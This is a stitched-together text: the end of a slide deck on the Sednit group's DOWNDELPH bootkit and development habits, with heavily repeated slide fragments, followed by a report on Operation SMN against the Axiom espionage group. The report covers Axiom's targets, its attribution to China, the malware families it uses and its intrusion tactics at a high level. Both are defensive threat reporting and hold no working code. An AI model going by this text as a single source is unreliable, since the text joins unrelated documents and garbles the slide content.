Never documented (to the best of our knowledge) PDB paths: d:\work\etc\hi\Bin\Debug\win7\x86\fsflt.pdb d:\work\etc\hideinstaller_kis2013\Bin\Debug\win7\x64\fsflt.pdb d:\new\hideinstaller\Bin\Debug\wxp\x86\fsflt.pdb Who Are You Rootkit?
Never documented (to the best of our knowledge) PDB paths: d:\work\etc\hi\Bin\Debug\win7\x86\fsflt.pdb d:\work\etc\hideinstaller_kis2013\Bin\Debug\win7\x64\fsflt.pdb d:\new\hideinstaller\Bin\Debug\wxp\x86\fsflt.pdb Who Are You Rootkit?
Never documented (to the best of our knowledge) PDB paths: d:\work\etc\hi\Bin\Debug\win7\x86\fsflt.pdb d:\work\etc\hideinstaller_kis2013\Bin\Debug\win7\x64\fsflt.pdb d:\new\hideinstaller\Bin\Debug\wxp\x86\fsflt.pdb To Summarize Seven different samples () of DOWNDELPH over the past three years One CC server was up for two years Persistence methods: Bootkit able to infect from Windows XP to Windows 7 Rootkit So, WHY such advanced persistence methods for such a simple component?
DOWNDELPH downloaded SEDRECO  XAGENT in a few cases, so SEDNIT related for sure SPECULATIVE MUMBLINGS 116 Call For Speculation The diversity of Sednit software is impressive (DOWNDELPH, bootkit, XAGENT, SEDKIT) Diversity is good for their operations, as it makes detection and tracking harder How did they created this software ecosystem?
117 Sednit Development Process (1) Developers Role Binaries are often compiled specifically for a target, after it has been infected 118 XAGENT SMTP logins/passwords Sednit Development Process (1) Developers Role Binaries are often compiled specifically for a target, after it has been infected Main software evolve regularly (XTUNNEL, SEDUPLOADER, XAGENT) 118 XAGENT SMTP logins/passwords Sednit Development Process (1) Developers Role Binaries are often compiled specifically for a target, after it has been infected Main software evolve regularly (XTUNNEL, SEDUPLOADER, XAGENT) 118 Developers are part of the team, not outsiders paid for a one-time job XAGENT SMTP logins/passwords Sednit Development Process (2) Software Design Different Sednit software share some techniques: RC4 keys built as concatenation of a hardcoded value and a randomly generated value (XAGENT, DOWNDELPH, SEDUPLOADER) Hardcoded tokens in network messages (XAGENT, SEDUPLOADER, SEDRECO) 119 Sednit Development Process (2) Software Design Different Sednit software share some techniques: RC4 keys built as concatenation of a hardcoded value and a randomly generated value (XAGENT, DOWNDELPH, SEDUPLOADER) Hardcoded tokens in network messages (XAGENT, SEDUPLOADER, SEDRECO) 119 The same developers may be behind this variety of software Sednit Development Process (3) Programming Errors 120 Linux XAGENT Communications termination Sednit Development Process (3) Programming Errors 120 Linux XAGENT Communications termination Sednit Development Process (3) Programming Errors 120 Linux XAGENT Communications termination Sednit Development Process (3) Programming Errors 120 Linux XAGENT Communications termination Sednit Development Process (3) Programming Errors 121 XTUNNEL report message Sednit Development Process (3) Programming Errors 121 XTUNNEL report message Developers do not have a code review process (hackish feeling) Sednit Development Process (4) Seeking Inspiration SEDUPLOADER employed novel persistence methods also found in crimeware, and shares code with Carberp DOWNDELPH bootkit code bears some similarities with BlackEnergy code 122 Sednit Development Process (4) Seeking Inspiration SEDUPLOADER employed novel persistence methods also found in crimeware, and shares code with Carberp DOWNDELPH bootkit code bears some similarities with BlackEnergy code 122 Developers have ties with the crimeware underground Sednit Development Process (5) Having Fun 123 Sednit Development Process (5) Having Fun 123 Developers are not working in a formal environment Mumblings Summary Sednit has some in-house skilled developers, working with little supervision, and those guys have ties with crimeware underground 124 Conclusion Sednit activity increased a lot during the last two years (targeted attacks with a LOT of targets) Heard about the DNC hack last week?
Sednit toolkit in constant evolution, moar fun to come 125 Thats All Folks Feel free to poke us: calvet,campos,dupuy  .at.
esetlabs.com Whitepaper coming soon... (dans deux mois) 126
Operation SMN: Axiom Threat Actor Group Report  Thank you to our public partners: 2 Contents Key Findings  pg.
4 Operation SMN Background  pg.
5 Operational Impact  pg.
6 Axiom Targeting  pg.
8 Targeting and Chinas Strategic Goals  pg.
10 Semiconductor and Networking Technology  pg.
10 Human Intelligence  pg.
11 Non-Governmental Organizations  pg.
11 Previous Public Reporting  pg.
12 Domestic Targeting  pg.
15 Tactics, Techniques, and Procedures of Axiom  pg.
18 Structure of Adversary  pg.
20 Command and Control (C2) Infrastructure  pg.
21 Hikit Command and Control (C2) Configuration  pg.
22 Remediation  pg.
23 Kudos  pg.
26 Appendix A: Malware Key Findings  pg.
27 Hikit Generation 1  pg.
27 Hikit Generation 2  pg.
28 Zox Family  pg.
28 Derusbi (Server Variant)  pg.
29 Appendix C: Signatures  pg.
30 Yara Signature Links  pg.
30 IDS signatures  pg.
30 Appendix D: Malware Names Index  pg.
30 Appendix E: Malware Hashes  pg.
31 3 Caveats Operational caveat: To the best of Novettas knowledge and belief, participants in this effort did not disclose, access, or utilize any confidential information that would result in violation of any third party agreements, including but not limited to non-disclosure agreements or customer agreements.
Reporting caveat: Due to the operational sensitivity of this activity and affected organizations, some of the related details will not be included in this report or shared beyond their original sources.
4 Key Findings Axiom is responsible for directing highly sophisticated cyber espionage operations against numerous Fortune 500 companies, journalists, environmental groups, pro-democracy groups, software companies, academic institutions, and government agencies worldwide for at least the last six years.
In our coordinated effort, we performed the first ever-private sponsored interdiction against a sophisticated state sponsored advanced threat group.
Our efforts detected and cleaned 43,000 separate installations of Axiom tools, including 180 of their top tier implants.
This report will expand upon the following key findings: A coordinated effort across the private sector can have quantifiable impact on state- sponsored threat actors.
The Axiom threat group is a well resourced, disciplined, and sophisticated subgroup of a larger cyber espionage group that has been directing operations unfettered for over six years.
Novetta has moderate to high confidence that the organization-tasking Axiom is a part of Chinese Intelligence Apparatus.
This belief has been partially confirmed by a recent FBI flash released to Infragard stating the actors are affiliated with the Chinese government1.
Axiom actors have victimized pro-democracy non-governmental organizations (NGO) and other groups and individuals that would be perceived as a potential threat to the stability of the Chinese state.
Axiom operators have been observed operating in organizations that are of strategic economic interest, that influence environmental and energy policy, and that develop cutting edge information technology including integrated circuits, telecommunications equipment manufacturers, and infrastructure providers.
Later stages of Axiom operations leverage command and control infrastructure that has been compromised solely for the targeting of individual or small clusters of related targeted organizations.
Axiom uses a varied toolset ranging from generic malware to very tailored, custom malware designed for long-term persistence that at times can be measured in years.
In descending order of observed scarcity these families are: Zox family (ZoxPNG, ZoxRPC)/Gresim Hikit Derusbi Fexel/Deputy Dog Hydraq/9002/Naid/Roarur/Mdmbot ZXShell/Sensode PlugX/Sogu/Kaba/Korplug/DestroyRAT Gh0st/Moudour/Mydoor Poison Ivy/Darkmoon/Breut 1 http://www.slideshare.net/ragebeast/infragard-hikitflash 5 Operation SMN Background Operation SMN2 is a coordinated effort amongst leading private-industry security companies, led by Novetta.
The initial focus of Operation SMN was to conduct the first industry-led interdiction effort against a sophisticated advanced threat actor group.
This collaboration represents an evolution of the status quo from simple reporting of identified threats to a new methodology of coordinated interdiction.
During this operation, the group performed malware removal, released detection signatures, and issued public reporting on 10/14/20143 and 10/28/2014 in order to  mitigate the threat posed by the actor group.
For the purposes of this document, the name Axiom will refer to this threat group.
This effort was initially focused on transferring the understanding generated by Novettas malware decoder development to Microsoft, via their Coordinated Malware Eradication program, to create high fidelity signatures for the Hikit malware family.
These co-developed signatures between Novetta and Microsoft were slated for inclusion in a Malicious Software Removal Tool (MSRT) release that would initially only target the Hikit malware family.
Upon the initial few iterations of information sharing and signature development between Microsoft and Novetta it became clear that by leveraging additional industry partners a much larger sample set could be collected, analyzed, and acted upon.
This fueled the selective expansion of the partnership into a small group of capable organizations that could contribute directly to the CME campaign.
The expansion of operational scope brought with it discussions of not only targeting the Hikit family of malware, but also refocusing efforts to target the entire known set of associated tools and malware capabilities.
It was at this junction that the group decided on a more comprehensive course of action that would leverage the MSRT capabilities for detection and removal, as well as distribute the corpus of samples, analysis, and knowledge to the entire industry via Microsofts Virus Information Alliance.
The group saw that this was the most effective means to broadly distribute highly sensitive information to 64 trusted industry partners in 22 separate countries for their own use, and to protect their customers.
This chain of events enabled Operation SMN members to plan and execute a global disruption and degradation campaign, exposing a Chinese state-sponsored threat actor that has targeted and exploited individual victims and organizations worldwide.
Novetta feels that the unified approach developed within Operation SMN, which united multiple perspectives and capabilities across private industry, provides the highest level of visibility and establishes the foundation necessary to effectively counter a threat of this nature.
It is Novettas hope that others within industry will embrace and adopt a similar approach in the future.
2 http://www.novetta.com/blog/2014/10/cyber-security-coalition1/ 3 http://www.novetta.com/files/5614/1329/6232/novetta_cybersecurity_exec_summary-3.pdf 6 Operational Impact On Tuesday, October 14, 2014, Operation-SMN took its first public action as a Coordinated Malware Eradication campaign (CME-2014-03).
This first action consisted of efforts intended to impede the ability of this and other threat actors to leverage this suite of tools.
To do so, the coalition: Released detection and removal signatures for related malware both publicly and through our coalition partners into their customer bases.
Provided detection guidance to trusted security partners, including those in the Microsoft Virus Information Alliance program, so that as many potentially affected victims as possible will have detection and protection against this threat.
Released several stages of reporting designed to raise awareness and highlight the tools, techniques, and procedures leveraged by Axiom and some affiliated groups.
The breadth and scope of Axioms operations served as motivation and justification for the approach adopted by the coalition of large scale data capture, analysis, and distribution of both data and analytical output to industry.
In the intervening period, the coalition has received a substantial amount of information relating to the removal of these malware tools.
To date, over 43,000 separate installations of Axiom-related tools have been removed from machines protected by Operation SMN partners, and 180 of those infections were examples of Hikit, the late-stage persistence and data exfiltration tool that represents the height of an Axiom victims operational lifecycle.
Shown below are two graphs, generated with data from Microsofts MSRT telemetry, which graph the installation footprint of the various malware samples that Axiom has been observed using.
Three clear clusters emerge, centered on what Novetta believes to be areas of responsibility for Axiom.
These graphs speak to the usage of a multi-stage corpus of malware which allows the operators to continually refine their targeting as they get closer and closer to their intended goals.
7 8 Axiom Targeting Novetta has observed that Axioms activity largely centers on using Hikit within victim networks post-compromise.
The configuration files extracted from Hikit binaries used in Axioms operations give identifiable campaign comments that provide strong indications of the intended targets.
From our analysis, we believe that organizations infected with Hikit are significant to the goals behind those tasking Axiom operations.
Though many organizations may have been targeted and compromised with initial stages of implants, the occurrence of Hikit activity within an entity indicates that the organization responsible for Axiom tasking considers it of importance or, alternatively, that the target is relatively hardened and more specialized malware is needed.
Within these targets, Axiom has been observed as going out of its way to ensure continued access regardless of changes to its targets network topology or security controls.
Axioms Hikit operators have been observed returning to compromised organizations on a scheduled basis, and even performing targeted lateral compromises based on the geographic locations of network egress points as well as introduction of new security controls.
9 Among the industries we observed targeted or potentially infected by Hikit: Asian and Western government agencies responsible for: Government records and communications agencies Law enforcement Environmental policy Personnel management Space and aerospace exploration and research Government auditing and internal affairs Electronics and integrated circuit manufacturers Networking equipment manufacturers Internet based services companies Software vendors, especially in the APAC region Journalism and media organizations NGOs, specifically those which deal with human rights or environmental policy International Consulting and analysis firms Law firms with an international or heavy MA financial footprint Telecommunications firms Manufacturing conglomerates Venture Capital firms Energy firms Meteorological Services Companies Cloud Computing companies Pharmaceutical companies Highly regarded US Academic Institutions These industries cover an array of targeted organizations spanning multiple countries including the United States, South Korea, Taiwan, Japan, and the European Union.
Novetta has observed potential compromises from the following geographic areas: 10 Targeting and Chinas Strategic Goals Axioms actions targeting the above industries have fit in particularly well with Chinas strategic interests and with their most recent Five Year Plans accepted in 2006 and 2011.
The 12th Five Year Plan displays Chinas new direction of pursuing advanced technology and advanced RD efforts.
As China begins its shift away from dependence on foreign technology (specifically the US), more and more corporations and organizations may be targeted by Axiom, and/or other groups that receive the same or similar tasking, as the Chinese play catch-up.
The following sections detail how Axioms Hikit operations line up with official policy.
Semiconductor and Networking Technology As part of the 12th Five Year Plan, semiconductor and network device manufacturing were two main areas of focus for growth that China has emphasized to minimize foreign dependencies4 and increase potential consumption of domestic internet services.
Of the many ways the Chinese could acquire this knowledge and technology to further their stated goals, the fastest would be the theft of trade and technology secrets from Western corporations, especially those 4 http://www.eetimes.com/document.asp?doc_id1324373 11 with offices in China5.
We have strong indications based on Hikit analysis that these industries have been targeted by Axiom operations.
Human Intelligence Information on individuals stored by Western and Asian government entities has also been targeted by Axiom.
Information held by these organizations includes details on individuals with access to confidential or classified information, which would be extremely useful for intelligence and counterintelligence operations.
Additionally, it should be noted that this sort of information could also be used to enable or extend technical and human operations against target organizations and individuals.
For example, this can be done through remote network based attacks, tailored spear phishing, targeted social media delivery, physical delivery and transfer of data through non-technical means, and traditional human operations.
Non-Governmental Organizations Axiom has demonstrated a clear interest in compromising NGOs that deal with international politics, environmental policy, pro-democracy movements, or human rights issues.
Novetta has observed at least one operation where Axiom compromised a satellite office of one of these organizations and then appeared to have moved laterally into that organizations main headquarters.
Much has been written of Chinas dissatisfaction of their reputation on the world stage, in particular criticism for human rights abuses and environmental issues stemming from rapid industrialization these criticisms are often viewed as a blow to the authority of the ruling party and to the soft power of their nation state, which China has been keen on developing in recent years.
Monitoring these kinds of organizations could allow the Chinese government to track these watchdog organizations and potentially accomplish more traditional goals such as the suppression of dissidents or intimidation of whistleblowers.
5 http://www.npr.org/2013/05/07/181668369/u-s-turns-up-heat-on-costly-commercial-cyber-theft-in-china 12 Previous Public Reporting In addition to the malware binaries that Novetta has analyzed and attributed to Axiom, we have found similarities in several high-profile cyber attacks since 2009.
The following timeline details some of the attacks that we know exhibit similar TTPs or leverage overlapping tools and infrastructure with those we have attributed to Axiom.
June - December 2009: Operation Aurora (Hydraq) December 2009: Elderwood Project leveraging 0days6 (Hydraq) March, April June 2011: Elderwood Platform Attacks April, May, August 2012: Elderwood Platform Attacks June - July 2012: VOHO Campaign wateringhole attacks7 (Gh0st RAT, Hydraq) July 2012 - January 2013: Bit9 Compromise8,9 (Hikit) June 2013: Shell_Crew Compromise of ColdFusion Server10 (Derusbi) September 2013: Operation Deputy Dog Attack on Japanese Targets11 November 2013: Operation Ephemeral Hydra involving Internet Explorer Zero-day (DeputyDog)12 January 2014: 3 new 0-Day exploits leveraged by Elderwood Platform13 February 2014: Operation Snowman attack on the US Veterans of Foreign Wars website (DeputyDog)14 June - July 2014: American Middle Eastern Policy think tank attacks15 As part of Operation Aurora, Google16, Adobe17, Rackspace and 32 other companies were compromised in similar fashion by attackers with connections to China, who we believe exhibit 6 http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the- elderwood-project.pdf 7 https://blogs.rsa.com/wp-content/uploads/2014/10/VOHO_WP_FINAL_READY-FOR-Publication- 09242012_AC.pdf 8 http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/hidden_lynx.pdf 9 https://blog.bit9.com/2013/02/25/bit9-security-incident-update/ 10 http://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf 11http://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013- 3893-attack-against-japanese-targets.html 12http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/operation-ephemeral-hydra-ie-zero-day- linked-to-deputydog-uses-diskless-method.html 13 http://www.symantec.com/connect/blogs/how-elderwood-platform-fueling-2014-s-zero-day-attacks 14http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor- compromises-us-veterans-of-foreign-wars-website.html 15 http://www.washingtonpost.com/blogs/the-switch/wp/2014/07/07/chinese-cyberspies-have-hacked- middle-east-experts-at-major-u-s-think-tanks/ 16 http://googleblog.blogspot.com/2010/01/new-approach-to-china.html 13 some of Axioms characteristics18.
Microsoft also reported being subject to similar style attacks, though those attempts were unsuccessful19.
In April 2013, Microsofts David Aucsmith20 suggested that the Aurora campaign that targeted Google may have been part of a larger Chinese counterintelligence operation aimed at gaining insights to Chinese Gmail accounts which were under FISA (Foreign Intelligence Surveillance Act) surveillance.
Later, in May 2013, the Washington Post21 would report that according to current and former government officials, the Chinese had successfully accessed Googles database of flagged email accounts that were placed under 702 foreign surveillance by U.S. Law Enforcement and counterintelligence.
It is unclear whether these exploitation operations can be directly linked to Axiom, however we have seen direct evidence that Axiom is highly interested in targeting organizations with data that may aid human intelligence or counterintelligence operations.
During the summer of 2012, the VOHO Campaign was discovered by private industry to be leveraging watering-hole attacks and several exploits to download and install variants of Gh0st RAT and Hydraq.
The VOHO attacks occurred in two phases, each phase using a different zero-day vulnerability, over multiple weeks during July 2012.
According to RSAs reporting on this campaign, nearly 1,000 organizations across multiple industries were impacted during the first phase, resulting in roughly 4,200 individual machines being compromised.
During this multi phased attack campaign security firm Bit9 was targeted and Axiom operators gained access to a Bit9 digital certificate.
Which they then used to sign custom variants of the Hikit malware in an effort to bypass the additional security provided by their product at specific organizations within the VOHO target set.
The ability to target, compromise, and filter tens of thousands of individual infections across nearly 1000 organizations, in order to identify victims to further other active attacks indicates a level of technical, organizational, and operational sophistication not typically seen.
The techniques used and malware delivered in the VOHO Campaign have been tied to Axiom, and the use of digital certificates to deliver malware is also a well-known technique for Axiom.
Watering-hole attacks that include 0-day exploits require planning and sophistication, as the attackers need to identify sites frequented by their targets, compromise those third party website(s), have available 0-day exploits, and then ultimately compromise the visiting targets systems.
Coupling a watering hole attack with a supply chain attack requires even more planning.
The fact that the VOHO watering hole attack, the Bit9 compromise, and the delivery of the custom Hikit malware all occurred within a one week period suggests a highly organized 17 http://blogs.adobe.com/conversations/2010/01/adobe_investigates_corporate_n.html 18 http://www.wired.com/2010/01/operation-aurora/ 19 http://www.darkreading.com/attacks-and-breaches/google-aurora-hack-was-chinese- counterespionage-operation/d/d-id/1110060?
20http://www.cio.com/article/2386547/government/-aurora--cyber-attackers-were-really-running-counter- intelligence.html 21http://www.washingtonpost.com/world/national-security/chinese-hackers-who-breached-google-gained- access-to-sensitive-data-us-officials-say/2013/05/20/51330428-be34-11e2-89c9- 3be8095fe767_story.html 14 group able to carry out simultaneous and independent objectives against larger goals, possibly under the direction and supervision of a larger organization.
Another series of attacks named the Elderwood Project22 began in late 2009 and used a notably large number of zero-day vulnerabilities to deliver malware (Hydraq) onto targeted networks.
The attackers delivered these exploits using a variety of methods including a watering hole attack targeting the Amnesty International Hong Kong website, which may provide insight into at least some of the victims targeted.
The threat actors behind these attacks had access to multiple critical zero-day vulnerabilities, suggesting the group had resources to develop them or to acquire them from other.
It should also be noted that the stated techniques of the actors behind Elderwood include targeting of supply-chain organizations of their intended targets.
American think tanks focusing on Iraq have also been targets of watering-hole attacks23 that utilize malware also occasionally used by the Axiom group: Derusbi.
The attack was specifically looking for users with identified Chinese, US English, Russian, Japanese, or Korean language machines24.
Although previous Chinese cyber attacks targeting think tanks have concentrated on those involved in East Asian policy, this shift may be reflective of Chinas renewed interest in the Middle East due to their dependence on oil production from this region25.
Although this is not as strong a link to the Axiom threat group, the fact that Derusbi was used is notable, as this malware is not widely distributed beyond intermediate stages of operations that have been attributed to Axiom.
When comparing the last three campaigns that have discussed(VOHO, Elderwood Project, and Iraq-focused think-tanks), beyond the toolset: They all used waterholing as their primary initial infection vector They all required the ability to sift potentially large sets of infected machines to identify targets of high interest for further exploitation.
They all targeted (at least in part) non-profit organizations that deal with information related to Chinese policy or Chinese stated interests.
The fact that the primary beneficiary of information stolen in these campaigns is not military or directly financial, but rather intelligence benefiting Chinese domestic and international policies, is highly telling and implies the Chinese Intelligence Apparatus could be behind such attacks.
22 http://www.symantec.com/connect/blogs/elderwood-project 23 http://www.washingtonpost.com/blogs/the-switch/wp/2014/07/07/chinese-cyberspies-have-hacked- middle-east-experts-at-major-u-s-think-tanks/ 24 http://www.symantec.com/connect/blogs/internet-explorer-zero-day-used-watering-hole-attack-qa 25 http://www.businessweek.com/articles/2014-06-17/iraq-crisis-could-threaten-chinese-oil-investments 15 Domestic Targeting In addition to international organizations of strategic interest, it also appears that Axiom has used Hikit internally to gather information on domestic Chinese targets.
Cyber operations within Chinas own borders may be reflective of the Communist Partys emphasis on maintaining internal state security to ensure domestic stability, as the past three decades of rapid economic change have brought about a significant wage gap, unemployment issues, environmental issues, and other societal issues, in addition to long-standing issues such as disparate ethnic groups and territorial disputes.
The CPC has subsequently dedicated significant resources toward domestic security: although domestic security spending for 2014 was not revealed by official sources, in the three years prior it has consistently exceeded the military budget26.
Among the well-funded entities tasked with domestic security are the Ministry of Public Security and the Ministry of State Security.
In particular, the latter organization is the primary non-military security agency of China and is tasked with not only domestic surveillance, but also foreign intelligence and counterintelligence.
Much of previous public reporting on Chinese threat groups has concentrated on the cyber capabilities and information warfare of the Peoples Liberation Army (PLA).
In particular, the Third Department serves as the PLAs telecommunications reconnaissance bureau charged with SIGINT for foreign intelligence operations27.
The Third Department is divided into twelve bureaus, each ostensibly having a dedicated mission.
For instance, the 2nd Bureau, or Unit 61398, has been directly linked by security researchers to attacks primarily focused on English- language organizations of strategic importance to China28.
While this group has been responsible for a significant number of cyber attacks, the groups profiled operational security and tactics do not appear to be as sophisticated as those attributed to Axiom.
In fact, researchers were able to directly link individuals to this bureau due to activity on social media as well as identifiable indicators used to register campaign command and control (C2) infrastructure, including domains or emails.
Other individuals linked to Unit 61398 cyber operations have also been profiled by the FBI in an indictment of five Chinese military intelligence officers29.
In contrast, there have been no identified mistakes in operational security on the part of Axiom operators to date.
Other attacks targeting satellite/aerospace industries have been linked to the Third Departments 12th Bureau, Unit 6148630.
Again, at least one individual has been connected to this activity using open-source intelligence due to a presence on social media and clues found in campaign infrastructure information, suggesting a lax operational security when compared to 26 http://www.trust.org/item/20140305043104-x0f0c/0 27 http://project2049.net/documents/countering_chinese_cyber_operations_stokes_hsiao.pdf 28 http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf 29 http://www.fbi.gov/pittsburgh/press-releases/2014/u.s.-charges-five-chinese-military-hackers-with- cyber-espionage-against-u.s.-corporations-and-a-labor-organization-for-commercial-advantage 30 http://www.crowdstrike.com/blog/hat-tribution-pla-unit-61486/index.html 16 what has been observed with Axiom.
Furthermore, attack activity from Unit 61486 has been linked to Unit 61398 based on shared infrastructure.
This might suggest some degree of cooperation or overlap between these teams and missions in the Third Department that we have not yet observed between previously identified Chinese threat groups and Axiom, beyond the usage of commonly available malware.
However, we cannot discount the possibility that previously reported Chinese threat groups could be linked to Axiom, or that both could be part of a larger organization.
While it appears that the identified missions of most if not all units of the Third Department remain focused on foreign intelligence and defensive network security, there are some indications that a few PLA bureaus do engage in unconfirmed domestic monitoring to some degree, including monitoring of domestic broadcasts.
Nevertheless, based on observed TTPs of identified PLA threat groups compared to Axiom activity, we believe that Axiom operates based on a different mission and has resources that previously reported and identified PLA cyber operators do not have.
When examining Axioms possible domestic attack activity, we have identified several instances of Hikit present on machines located in China or Hong Kong, dating at least as far back as January 2012.
This would indicate domestic monitoring in addition to foreign operations, and may suggest that the group to which Axiom belongs is an entity charged with domestic security.
Additional telemetry we have observed suggests that Axiom may also target Chinese citizens, possibly dissidents, in foreign countries (including the United States and Asia-Pacific countries), based on the presence of Hikit on machines configured to use simplified Chinese.
In particular, at least one Hikit sample was observed targeting a Chinese-language machine located in the United States the filename LiulanqiXunzhang.exe.tdl appears to reference a browser ().
Certain indicators from Hikit binaries detected on machines in China or Hong Kong also provide further insight how these domestic victims are targeted by Axiom.
The filenames of the malware, for instance, show that they were likely curated for Chinese speakers, as seen with Chinese- language file names including at least one referring to QQ, the popular messaging application.
Other more generically popular applications like Adobe Flash Player were also used as potential lures or means of hiding in plain site.
Novetta has also observed that Chinese-related filenames of commodity malware that has been used by both Axiom as well as other threat groups (e.g., Poison Ivy, PlugX, etc.)
may also reflect a lively underground trade some of the filenames we have observed are listed below.
17 Table: Filenames of some malware binaries present on machines located in China Original Filename Translation Malware Family QQ6.3_6.3.12382.exe.
P2P  Hikit baofeng.exe.td  Hikit CODOL_Formal_1.2.2.10_1.
2.2.12_1550_1D.exe.ttd31 Hikit LOL_V3132_1151_8D.exe.ttd 32 Hikit install_flash_player_ax_KB37 0237.exe.
P2P Hikit BDWebAdapterZip.dll.bdl  Hikit QQsetup.exe  PlugX www.0716che.com  PlugX www.6541601.com  PlugX www.6794945.com  PlugX ARP.rar  ARP scanner ZXShell 0day.zip Major 0day ZXShell 1433.exe  Fraternal Network33 Third Edition 1433 ZXShell Although this information does not conclusively determine that Axiom conducts such operations, when compared with some binary file names it could indicate deliberate targeting.
Additionally, Axiom has used at least one Chinese companies certificate to sign a Hikit binary: (Anwei iFLYTek Information Technology Co. Ltd.), which specializes in voice recognition software and is owned in part by China Mobile, a State asset.
While we do not know if domestic companies were compromised for Axioms purposes or, alternatively, have cooperated with Axiom campaigns, it again suggests Axiom ability and potential desire to stage domestic operations.
Other Chinese companies as well as popular Asian gaming companies have also been used to digitally sign malware samples.
31 Likely posing as the game Call of Duty Online 32 Likely the online game League of Legends 33 Might refer to the website hackxd .com (, Fraternal Network Technology Forum) 18 In addition to Hikit, we have observed other Axiom-related malware targeting domestic organizations, including a few universities and research institutions in both Hong Kong and mainland China.
Though this cannot be linked conclusively to Axiom Hikit operators, education institutions, particularly those in Hong Kong, would likely be of extreme importance for any monitoring of domestic activity -- not only is China worried about liberal academics, but also students, who have historically been leaders in pro-democracy movements as recently as this past summer with the Occupy Central protests in Hong Kong.
Tactics, Techniques, and Procedures of Axiom A wide range of mechanisms are used to reach the stage of an operation where Hikit is deployed.
Observed methods include the traditional use of spear phishing, leveraging of generic and strategic website compromises, and targeted attacks against public facing infrastructure.
One of the many disturbing attributes of Axiom and their affiliated groups is their ability to create and leverage large pools of compromised machines, sift through them to identify the organizations of interest, and quickly (within hours or days) begin secondary follow-up exploitation operations.
This rapid transition from identification to action on the objective demonstrates the level of sophistication and focus of these actors it also suggests an integrated targeting element, with possible inputs from an authoritative tasking entity, which is responsible for issuing dynamic taskings.
This modus operandi does not suggest that Axiom relies solely upon casting a large net for victimization, rather that the Axiom actors have a well-established tradition and capabilities that support focused targeting of both individuals and organizations.
Once inside an enterprise, Axiom begins reconnaissance almost immediately to establish where they are in the targets network, and to identify any changes that have been made to the environment.
Once this initial reconnaissance stage has been completed and the information is collected, Axiom typically moves quickly to escalate privileges on compromised machines via previously compromised administrative accounts, local exploits, or remote exploits as demonstrated in the ZoxRPC malware.
This escalation of privileges is typically in an attempt to dump the latest credentials they can gain access to on the victim network.
This information is quickly accessed, compressed, encrypted, and exfiltrated by the actors.
The turnaround for the use of this information after collection can vary from minutes to months.
The Axiom threat actor group has also demonstrated the operational flexibility of leveraging systems administration tools available within targeted organizations (e.g., Remote Desktop Protocol (RDP), remote administration tools).
It has been observed several times that Axiom operators have even leveraged these capabilities as a means of maintaining additional persistence via setting sticky keys for RDP sessions.
They also use custom tools containing network and local exploits, hacking utilities, and legitimate security tools for privilege escalation and lateral movement.
By leveraging tools already available within a target organization Axiom, can forgo the need to potentially raise their profile by deploying additional malware that may trigger antivirus or IDS indicators.
As a typical scenario when compromising an organization, this actor group will aim to orient themselves, move laterally, escalate privileges, dump 19 credentials, and install other families of malware to hedge against detection of any one variant of their malware.
It has been observed in many of Axioms victim environments that the total number of malware families leveraged can exceed four separate layers of malware.
These families of malware range in uniqueness from extremely common (Poison Ivy, Gh0st, ZXshell) to more focused tools used by Axiom and other threat groups directed by the same organization (Derusbi, Fexel) to tools only seen used by Axiom (ZoxPNG/ZoxRPC, Hikit).
This is likely done to ensure a certain level of persistence and redundant command and control should one of the families ever become compromised.
Additionally, once into later stages of their operations, Axiom operators will create and deploy shell utilities that are customized to the operational environment.
Operators will also install data archival and compression tooling that may not already exist on the target machine.
The flexibility and fluency of Axioms toolset, including the ability to produce custom tools, is yet another indicator of the technical and operational sophistication of this entity.
In support of this flexible tooling capability, Axiom has demonstrated a relatively sophisticated use of large amounts of legitimate and compromised internet infrastructure.
Axiom has been observed grooming and leveraging an array of compromised proxy infrastructure within the United States, South Korea, Taiwan, Hong Kong, and Japan.
Novetta has observed indications in various datasets that this compromised infrastructure can be created per campaign or target, or can be shared within a cluster of related targets.
It is surmised that this method is a means to create confusion for any investigation into activity related to an Axiom intrusion, by leveraging the capabilities of Axiom tools and interweaving legitimate traffic to the same IP address during the compromise.
The net effect of this tactic is to create a set of network traffic that at first glance appears to be legitimate traffic.
Beyond this generally stealthy technique for hiding malicious traffic, the ability to have access to a continual pool of compromised infrastructure in which to overlay their operations speaks to the ability of Axiom actors.
They do not just comprise various Internet facing platforms, but also have the organizational ability to deal with the capture, grooming, and maintenance of a large set of compromised infrastructure while in parallel executing technical operations and creating new targeting information for pursuit.
On top of Axioms usage of compromised infrastructure they also maintain supporting infrastructure accounts, such as dynamic DNS services, and VPS/hosting providers from a variety of United States and Chinese providers.
This ability to leverage both compromised and legitimate infrastructure enables Axiom to adjust to a targets security posture and potentially extend their access to a targeted organization.
Victim Life Cycle Based on observed victim environments infiltrated by Axiom, Novetta believes that there are at least six separate tiers of responsibilities that service different stages of the victim lifecycle.
20 Axiom, for its part, largely conducts operations in later stages of the overall victim compromise.
Currently, we believe that the victim lifecycle is split into the following stages: Stage 0: Target identification and reconnaissance Stage 1: Initial access, validation and internal target reconnaissance Stage 2: Lateral movement, and creation of additional footholds Stage 3: Compromised infrastructure creation and grooming Stage 4: Stealthy identification and exfiltration of targeted data Stage 5: Maintain access and understanding of environment The level of sophistication seen by this multistage life cycle implies a number of things about the adversarys ability to command resources and coordinate within itself.
It is this structure and coordination that truly sets Axiom and its associated groups apart from other actors in this space.
Structure of Adversary We also assess that different groups associated with the Axiom threat actor group likely perform various phases.
This deduction is supported by the number of differences in the observed activity during these compromise stages which suggest a number of separate teams with varying responsibilities during their operation lifecycle.
For instance, examinations of differences in command and control (C2) and midpoint proxy infrastructure displayed by the Stage 1, Stage 2 and Stage 4 binaries have led us to believe that the operational tempo, security policies, and acceptable risk levels are drastically different.
This coordination of different operators, infrastructure, and tools between stages in the same environment suggests a common operating picture within a large organization.
It cannot be overstated that the operational timelines observed imply that Axiom and other stage operators operate with a cohesive long-term strategic goal.
The ability of any organization to consider strategic objectives over a multi year period implies that organization both believes that their operations will have far reaching effects, and that the organization itself will exist for an extended time.
